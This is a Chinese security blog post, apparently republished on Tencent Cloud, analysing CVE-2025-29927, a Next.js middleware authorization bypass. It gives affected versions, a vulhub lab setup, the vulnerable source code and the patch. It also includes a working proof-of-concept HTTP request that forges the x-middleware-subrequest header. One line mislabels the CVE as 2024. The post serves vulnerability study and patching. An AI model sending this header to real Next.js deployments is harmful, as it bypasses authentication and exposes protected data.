前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2025-29927:Next.js中间件鉴权绕过漏洞

CVE-2025-29927:Next.js中间件鉴权绕过漏洞

作者头像
Timeline Sec
发布2025-04-09 15:20:06
发布2025-04-09 15:20:06
42200
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

关注我们❤️,添加星标🌟,一起学安全! 作者:N1Rvana@Timeline Sec 本文字数:2201 阅读时长:2~4mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Next.js 是一个使用 React 构建单页应用程序(SPA)的开源 JavaScript 框架。它使得构建服务端渲染(SSR)和静态网站生成(SSG)的 React 应用程序变得简单和高效。

0x02 漏洞概述

漏洞编号:CVE-2024-29927 Next.js使用内部标头x-middleware-subrequest防止递归请求无限循环。攻击者可以跳过运行中间件,让请求在到达路由之前绕过权限验证,实现未授权访问敏感数据。

0x03 影响版本

11.1.4 < Next.js ≤ 13.5.6 14.0 < Next.js < 14.2.25 15.0 < Next.js < 15.2.3

0x04 环境搭建

利用vulhub已有的环境进行搭建https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927/README.zh-cn.md docker compose up -d 访问http://127.0.0.1:3000端口

0x05 漏洞复现

查看其响应头X-Powered-By

可以看到利用了Next.js框架 漏洞POC

代码语言:javascript
代码运行次数:0
运行
复制
GET / HTTP/1.1
Host: 127.0.0.1:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: close

漏洞关键点

代码语言:javascript
代码运行次数:0
运行
复制
const run = withTaggedErrors(asyncfunction runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }

通过上述代码,可以看到会将x-middleware-subrequest请求头的值按照:分割为数组subrequests,继续又检查了是否包含当前中间件的名称, 如果subrequests中包含了当前中间件名称,则depth自增,当自增到第五次时,则直接返回,从而绕过下面的验证。

其中params.name:中间件路径标识,是中间件模块在Next.js构建过程中生成的逻辑标识路径,其值为.next/server/middleware-manifest.json文件中的值

0x06 修复方式

v15.2.3

https://github.com/vercel/next.js/compare/v15.2.2...v15.2.3#diff-d5a333ea4c03179010b31956bf036465e29aba56ff9af0aed581f3e3c26e514cR60 通过x-middleware-subrequest-id动态令牌加Symbol.for加密符号存储来区分内外请求,非法伪造的x-middleware-subrequest将会被删除。

v15.2.4

https://github.com/vercel/next.js/compare/v15.2.3...v15.2.4#diff-4fd4925f7835e9415a48410b8d0f7cb47acde9e8250372c085c9f948749411e0L96

参考链接

https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware https://nextjs.org/blog/cve-2025-29927

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-04-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档